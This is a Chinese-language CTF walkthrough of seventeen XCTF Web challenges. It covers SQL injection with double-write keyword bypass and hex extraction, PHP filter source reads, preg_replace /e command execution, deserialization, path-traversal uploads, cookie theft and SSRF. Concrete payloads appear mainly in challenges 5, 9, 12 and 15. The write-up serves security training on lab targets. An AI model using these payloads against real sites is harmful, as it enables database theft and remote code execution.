Xctf攻防世界-Web进阶题攻略

简介: Web进阶题攻略

玩法介绍

     攻防世界答题模块是一款提升个人信息安全水平的益智趣味答题,用户可任意选择题目类型进行答题。

第一题:

       Burp拦截后对id进行爆破。

640.png

-----------------------------------------------------------------------------

第二题:

       Burp拦截后对search参数进行sql注入。

 640.png

-----------------------------------------------------------------------------

第三题:

       扫出了.git,用GitHack把站点扒下,对index.php审查,$file中没有做处理和验证,可以用system()构造payload, 640.png

640.png

-----------------------------------------------------------------------------

第四题:

       下载附件,文本打开,修改后缀为html以html方式打开,发现是乱码,用view-source审查前端元素,用alert替代eval,获得源码,复制代码到浏览器控制台运行,获得flag。

 640.png

640.png

-----------------------------------------------------------------------------

第五题:

       注册登陆进去,发现有上传点,传php小马,发现无法突破。

文件名称存在注入,联合查询select,union被过滤,双写可绕过,使用conv进制转换成10禁止,一次获取字串的12位,用substr截取12.

640.png

640.png

640.png

回显数字131277325825392转化为字符串位web_up为部分库名

 640.png

640.png

再把后面的库名用substr(hex())查出来,转化后拼接后发现库名为web_upload

用双写绕过编写exp为:

'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom
information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg
得到回显为114784820031327转化为字符串为hello_
'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom
information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg
得到回显为112615676665705转化为字符串为flag_i
'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom
information_schema.tables where table_schema='web_upload' limit 1,1)),25,12),16,10))+'.jpg
回显为126853610566245转化为字符串为s_here
得到表名:hello_flag_is_here

 找列:

'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom 
information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
回显为115858377367398转化为字符串为i_am_f
Exp修改为à)),13,12),16,10))
回显为7102823转化为字符串为lag
合并列名为i_am_flag

根据库表列名构造语句:

'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 
0,1)),1,12),16,10))+'.jpg
得到回显为36427215695199
转化为字符串为!!_@m_
'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit
0,1)),13,12),16,10))+'.jpg
回显为92806431727430
转化为字符串为Th.e_F
'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit
0,1)),25,12),16,10))+'.jpg
回显为560750951
转化为字符串为!lag
拼接为!!_@m_ Th.e_F!lag

                     ----------------------------------------------------------------------------- 

第六题:

       7kbscan扫描后发现index.phps获得部分源码,对源码进行分析,发现id在代码中进行了url编码,尝试用js函数”a”.charCodeAt进行编码,发现不行,看了下writeup发现浏览器也会对url再进行一次url编码,应该再进行一次编码进行绕过。

?id=%2561dmin

640.png

-----------------------------------------------------------------------------

第七题:

       题目php反序列,查看源码,我对php反序列不是很懂,发现里面调用了function _wakeup(),百度发现wakeup()是反序列的危险函数,找payload,调试payload。

640.png

640.png

640.png

-----------------------------------------------------------------------------

第八题:

       使用%80特殊ascii符号,因为url编码是16进制的,80就是128,ascii允许0-127,使web程序产生报错,根据报错信息得知程序是python的django web写的,使用php curl@可以访问配置文件。

640.png

640.png

640.png

访问配置文件@/opt/api/api/settings.py,搜索databases获得数据库信息,并访问,在数据库中搜索ctf,获得flag。

-----------------------------------------------------------------------------

第九题:

进入题目,题目唯一有用的线索就是view-source:url后发现一个?Page=index,点击链接发现有异常(算不算小提示??)

 640.png

根据php伪协议构造出?Page=php://filter/read=convert.base64-encode/resource=index.php

640.png

将内容base64解码得出index.php源码,源码中发现函数preg-replace()函数,/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码


640.png

Burp修改xff的值且传参中使用php函数passthru()调用系统命令,然后开始一步步找flag

 640.png

利用linuxfind找出相关路径 640.png

Cd进去 640.png

Cat查看flag

-----------------------------------------------------------------------------

 

第十题:

       查看源码得知,题目使用unicorn.jsutill.jssecret.js,分析一下发现unicorn.js是一个模拟cpu的库,获得password过程 test_pw(enc_pw(input), get_pw())

发现get_pw()是固定值,那我们就从test_pw()enc_pw()入手得到正确的input,观察enc_pw()函数发现写入内存指令在于_[o2[a]]

640.png

为了得知enc_pw()对内存的操作,模拟enc_pw()构造AMD1() 函数,再将output转换成16进制,

0800a0e10910a0e10a20a0e10030a0e30050a0e30040d0e5010055e30100001a036003e2064084e0064084e2015004e20040c1e5010080e2011081e2013083e2020053e1f2ffffba0000a0e30010a0e30020a0e30030a0e30040a0e30050a0e30060a0e30070a0e30090a0e300a0a0e3

640.png

640.png

转换成汇编指令

分析得知,enc_ps()对内存的操作如下:

初始化输入密码地址及长度地址->初始化输出结果地址,技术去和奇偶校验寄存器->将输入密码的地址位数据传入中间数据->校验输入密码上一位数据的奇偶性-->奇数:截取计数器二进制最后两位与中间数据相加---------------------------------|

  |->中间数据加6->更新奇偶校验寄存器->将中间数据传入结果地址中->输入地址加一结果存储地址加一技术去加一->计数器是否小于输入密码长度?-->->结束

|->->将输入密码的地址位数据传入中间数据->…

为了得知test_pw()对内存的操作,,模拟getARM1()函数编写getARM1(),用toHex函数将output转换为16进制, 640.png

640.png

分析得知,大概判断流程如下:

1.传入输入密码和隐藏密码的基址位数据

2.将输入密码加5

3.判断循环次数奇偶性,若为奇数将传入密码减3并比较传入密码与隐藏密码是否相等,若为偶数直接比较传入密码与隐藏密码是否相等

4.如果传入密码与隐藏密码不相等则相当于直接退出,如果相等,基址加一,计数器加一

5.判断计数器是否小于输出密码的长度,若小于直接回到1若不小于则相当于直接退出

逆向函数不会写,看了下网上的writeup

1.test_pw()的逆向函数:

function findReqR6(){
  var pw = stoh("XYzaSAAX_PBssisodjsal_sSUVWZYYYb"); //从get_pw()的到的返回值
  var required = new Array();
  for(var i = 0 ; i < pw.length; i ++ ){
      var a = pw[i];
      a = a - 5;            //原流程加5
      if(i & 1 == 1){
        a = a + 3;          // 原流程减3
      }                    
      required[i] = a;
  }
  return required;
}
htos(findRqR6())返回enc_pw(user_input)的字符串转换结果返回值:
SWu_N?<VZN=qngnm_hn_g]nQPTRXTWT`

2.构造enc_pw()函数的逆向函数获取正确的UserInput

function reverseEnc(argarray){
  var test = 0;
  var output = new Array();
  for(var i = 0 ; i < argarray.length ; i++){
    var x = argarray[i];
    if(test == 1){
      var sub = (i & 3);
      x = x - sub;      //原流程加上相与值.
    }
    x = x - 6;               //原流程加6
    test = (argarray[i] & 1);
    output[i] = x;
  }
  return output;
}

htos(reverseEnc(findReqR6()))返回正确的userinput

 640.png

-----------------------------------------------------------------------------

第十一题:

进去登陆注册发现admin已经注册,bp抓包,分析user的值编码或者加密,发现user的值是{uid:username}的格式进行md5加密的,如下图 640.png

640.png

640.png

对各个功能点进行测试,发现personal功能存在越权操作,我们得知管理员username=admin,假设admin的uid=1,修改uid的值为1和user的值查看相应的信息。

640.png

登出,根据刚查看的信息修改管理员密码,然后登录

 640.png


点击管理模块,报IP错误,发现修改xff的值能进行绕过 640.png

访问提示的index.php?module=filemanage&do=???,分析???是啥,发现upload,上传php小马,被拦截,合成图片马,被拦截,gif头截断也被拦截,服务器使nginx1.12.2,不存在解析漏洞

bp抓包,修改content-type参数和修改文件后缀名尝试绕过,发现,alert的内容有所不同,然而还是无法得到什么。 640.png

640.png

最后尝试用进行绕过,得出flag 640.png

-----------------------------------------------------------------------------

第十二题:

       进去登陆注册,没有发现常规注入和robots、git、svn等泄露,何种功能点测试一遍,发现在发布的贴子的路径存在文件穿越漏洞,修改post的值可访问泄露的路径

640.png

发现源码泄露,发现一处地方有异常,源码解读发现如果用户为admin即可得知$get_flag1的值(可能存在flag2???),且从源码中得知存在users/文件夹,

640.png

访问users文件夹,发现里面泄露了用户的cookie

640.png

我们找出admin的cookie然后使用cookieManager修改username和cookie的值登录admin

640.png

640.png

640.png

登陆admin

发现flag1就在页尾(只有一半,我们等下去找flag2)

640.png

//代码审计搞起来哎!(@_@眼睛都花了)

发现function reply()中,$(username)>$(next_file)这里username写在了next_file(评论文件的内容)中,且得知了post的路径,题目中的wtf文件不是一般的web文件,不过它能被服务器解析,需要$定义参数,根据用户名参数我们可以在users_lookup路径下构造wtf后缀的shell

640.png

传不上shell,发现如果路径不加%09,shell会被当做目录解析

构造用户名参数=${find -iname get_flag2},发现用户名被注册

构造用户名${find,-iname,get_flag2},路径加上%09绕过

 640.png

640.png

访问shell,得到一个路径

根据路径构造用户名=$/usr/bin/get_flag2,继续上传shell,访问shell,得到flag2

640.png

-----------------------------------------------------------------------------

第十三题:

       分析源码,往上推算程序,编写程序,得到flag。

正向思路-->反转$str-->反转后的$str的每个字符ascii码+1再转换成unicode等正常编码-->经过以上操作的$str经过base64编码再反转字符串再经过str_rot13编码-->$miwen 640.png

640.png

-----------------------------------------------------------------------------

第十四题:

       进去发现web中有perl文件,在/cgi-bin/file.pl中存在上传功能,会把上传的文件以文本形式读出来

 640.png

没啥头绪,看了一下博客和wp,

猜测文件上传的代码为如下图

 640.png

param()会返回一个列表文件但是只有第一个文件会被放入到下面的file变量中,传入ARGV文件,perl会将文件名读出来 640.png

猜测flag在目录下,得到flag 640.png

-----------------------------------------------------------------------------

第十五题:

       进去,发现view-source:里面有源码

分析源码

 640.png

发现要先用get传递?id参数使id的浮点数不等于1且最后一位为9,就会变成admin的session

这里我们传递?Id=0%209

640.png

admin的session下,传递con和file参数(con就是文件内容=o=,想了很久看writeup才知道的),且匹配正则成功后传到uploaded文件夹下,

 640.png

构造参数con=&file=../1.php/.

File使用了/.绕过正则,正则过滤一次后缀,我们再构造一次 . 就好了。

得出flag 640.png -----------------------------------------------------------------------------

第十六题:

       进入网站,只有一个倒计时js,url猜测,根据标题和题目猜测出zhuanxvlogin,找到登录页

640.png

Burp截包,发现传输流量过程有一个bg.jpg背景图,复制链接可以进行下载

640.png

Github搜索zhuanxv可以在备忘录中发现web是java写的

640.png

已知javaweb的文件分布如->

640.png

利用bg.jpg的下载链接进行文件包含找web.xml 640.png

发现web是用struts写的,我们继续找struts的配置文件struts.xml 640.png

找到一个/WEB-INF/classes/下的 UserloginAction.class DownloadAction.class AdminAction.class文件,利用bg.jpg文件包含链接进行下载,修改后缀名等操作

接下来,我们找webapplication的配置文件applicationContext.xml 640.png

640.png

发现web的操作数据库层框架Hibernate和数据库用户名和密码都为root,还有UserServiceImplUserDaoImpl两个class文件,进行下载

利用java反编译软件jd-gui查看源码

640.png

640.png

640.png

发现程序没有对name进行正则校验,且程序sql语句没有预编译,存在sql注入

 640.png

注入需要结合Hibernate的子查询特性进行(构造不出exp,Hibernate没学过,上网找的exp),搞出exp,运行,得到flag

-----------------------------------------------------------------------------

第十七题:

       进去index.php发现有个链接跳转下载,发现链接地址有ssrf字符(提示?),下载是一个pdf文件

 640.png

上目录扫描发现downloads/secret/路径

 640.png

640.png

按照文件名推算,secret_debug.php应该是secret.php的调试文件,无法访问debug.php

 640.png

Secret.php是一个注册功能点

640.png

利用secret.php的注册链接后半段和ssrf组合链接访问secret_debug.php发现404,程序把请求当作是pdf访问请求,利用urlencode把&编码一下可以绕过。 640.png

linux的curl访问

 640.png

程序出错,发现sql注入

640.png

编写exp


相关文章
|
5月前
|
SQL 监控 安全
Java Web应用的安全防护与攻防策略
Java Web应用的安全防护与攻防策略
|
5月前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
【7月更文挑战第26天】在 Web 开发中, SQL 注入与 XSS 攻击常令人担忧, 但掌握正确防御策略可化解风险. 对抗 SQL 注入的核心是避免直接拼接用户输入至 SQL 语句. 使用 Python 的参数化查询 (如 sqlite3 库) 和 ORM 框架 (如 Django, SQLAlchemy) 可有效防范. 防范 XSS 攻击需严格过滤及转义用户输入. 利用 Django 模板引擎自动转义功能, 或手动转义及设置内容安全策略 (CSP) 来增强防护. 掌握这些技巧, 让你在 Python Web 开发中更加安心. 安全是个持续学习的过程, 不断提升才能有效保护应用.
58 1
|
4月前
|
存储 PHP 数据安全/隐私保护
攻防世界 Web_php_unserialize
攻防世界 Web_php_unserialize
66 0
|
5月前
|
缓存 JavaScript 前端开发
JavaScript进阶 - Web Workers与Service Worker
【7月更文挑战第4天】JavaScript的Web Workers和Service Worker增强了Web性能。Web Workers处理后台多线程,减轻主线程负担,但通信有开销,受同源策略限制。Service Worker则用于离线缓存和推送通知,需管理其生命周期、更新策略,并确保安全。两者都带来了挑战,但也极大提升了用户体验。通过理解和优化,开发者能构建更高效、安全的Web应用。
140 2
|
5月前
|
SQL 安全 Java
Java Web应用的安全防护与攻防深度剖析
Java Web应用的安全防护与攻防深度剖析
|
5月前
|
前端开发 开发者 Python
从零到一:Python Web框架中的模板引擎入门与进阶
【7月更文挑战第20天】模板引擎如Jinja2在Python Web开发中连接后端与前端,提高代码可读性和协作效率。Flask默认集成Jinja2,提供条件语句、循环、宏和模板继承等功能。例如,创建一个简单Flask应用,渲染&quot;Hello, World!&quot;,并展示如何使用条件语句和循环处理数据。通过宏定义重用代码,模板继承实现页面结构共享。学习模板引擎能提升开发效率和项目质量。
67 0
|
5月前
|
SQL 前端开发 数据库
Python Web开发进阶之路:从模板引擎到ORM的全面掌握
【7月更文挑战第19天】在Python Web开发中,提升技能的关键是理解和运用模板引擎(如Jinja2)与ORM技术。模板引擎,如在Flask中使用的Jinja2,使前端HTML与后端逻辑分离,便于维护。例如,通过路由函数`show_posts()`和`render_template()`呈现文章列表模板,用Jinja2的`for`循环展示内容。ORM,如SQLAlchemy,提供Pythonic的数据库操作,将表映射为类,SQL转化为方法调用。在博客系统中,定义Post模型并与数据库交互,展示了ORM简化数据管理的优势。通过实践这些工具,开发者能更好地驾驭复杂的Web项目。
59 0
|
5月前
|
缓存 前端开发 JavaScript
JavaScript进阶 - Web Workers与Service Worker
【7月更文挑战第10天】在Web开发中,Web Workers和Service Worker提升性能。Workers运行后台任务,防止界面冻结。Web Workers处理计算密集型任务,Service Worker则缓存资源实现离线支持。常见问题包括通信故障、资源限制、注册错误及缓存更新。通过示例代码展示了两者用法,并强调生命周期管理和错误处理的重要性。善用这些技术,可构建高性能的Web应用。
113 0
|
5月前
|
缓存 JavaScript 前端开发
JavaScript进阶 - Web Workers与Service Worker
【7月更文挑战第6天】JavaScript的Web Workers和Service Worker增强了浏览器的性能处理和离线功能。Web Workers处理后台计算,减轻主线程压力,但通信有开销,受同源策略限制。Service Worker则能拦截网络请求,支持离线缓存和推送通知,但其生命周期和权限管理需谨慎处理。通过理解它们的工作原理和限制,开发者能创建更流畅、更健壮的Web应用。
116 0
|
5月前
|
SQL 监控 安全
Java Web应用的安全防护与攻防策略
Java Web应用的安全防护与攻防策略